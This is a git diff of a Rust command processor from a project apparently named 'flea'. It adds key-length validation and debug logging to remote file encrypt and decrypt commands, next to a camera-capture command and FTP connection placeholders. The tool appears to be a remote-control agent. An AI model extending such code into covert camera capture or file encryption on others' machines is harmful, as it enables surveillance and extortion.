@@ -2,7 +2,7 @@ extern crate ftp;
2
2
extern crate repng;
3
3
extern crate serde;
4
4
5
- use serde:: { Serialize , Deserialize } ;
5
+ use serde:: { Deserialize , Serialize } ;
6
6
use std:: sync:: { Arc , Mutex } ;
7
7
use std:: { str, env, path:: PathBuf } ;
8
8
use log:: { debug, error} ;
@@ -46,6 +46,7 @@ pub const RESTART_FILENAME: &str = "flea.rst";
46
46
#[ cfg( feature = "camera" ) ]
47
47
const GET_CAMERA_FRAME_COMMAND : & str = "camera" ;
48
48
49
+ const MAX_KEY_LENGTH : usize = 32 ;
49
50
50
51
//Enter your data for FTP Server connection
51
52
const FTP_USER_NAME : & str = "enter_ftp_user_name" ;
@@ -629,6 +630,13 @@ impl FleaCommand for CommandProcessor
629
630
let mut parts = value. split ( ';' ) ;
630
631
if let ( Some ( key) , Some ( file_name) , None ) = ( parts. next ( ) , parts. next ( ) , parts. next ( ) )
631
632
{
633
+ if key. len ( ) != MAX_KEY_LENGTH
634
+ {
635
+ debug ! ( "Invalid key length" ) ;
636
+ return "Invalid key length" . to_string ( ) ;
637
+ }
638
+
639
+ debug ! ( "Encrypting file: {}" , file_name) ;
632
640
let encrypter = FileEncrypter :: new ( key. to_string ( ) ) ;
633
641
match encrypter. encrypt_file ( file_name)
634
642
{
@@ -638,6 +646,7 @@ impl FleaCommand for CommandProcessor
638
646
}
639
647
else
640
648
{
649
+ debug ! ( "Invalid input" ) ;
641
650
"Invalid input" . to_string ( )
642
651
}
643
652
} ,
@@ -650,7 +659,14 @@ impl FleaCommand for CommandProcessor
650
659
let mut parts = value. split ( ';' ) ;
651
660
if let ( Some ( key) , Some ( file_name) , None ) = ( parts. next ( ) , parts. next ( ) , parts. next ( ) )
652
661
{
662
+ if key. len ( ) != MAX_KEY_LENGTH
663
+ {
664
+ debug ! ( "Invalid key length" ) ;
665
+ return "Invalid key length" . to_string ( ) ;
666
+ }
667
+
653
668
let encrypter = FileEncrypter :: new ( key. to_string ( ) ) ;
669
+ debug ! ( "Decrypting file: {}" , file_name) ;
654
670
match encrypter. decrypt_file ( file_name)
655
671
{
656
672
Ok ( _) => "Ok" . to_string ( ) ,
@@ -659,6 +675,7 @@ impl FleaCommand for CommandProcessor
659
675
}
660
676
else
661
677
{
678
+ debug ! ( "Invalid input" ) ;
662
679
"Invalid input" . to_string ( )
663
680
}
664
681
0 commit comments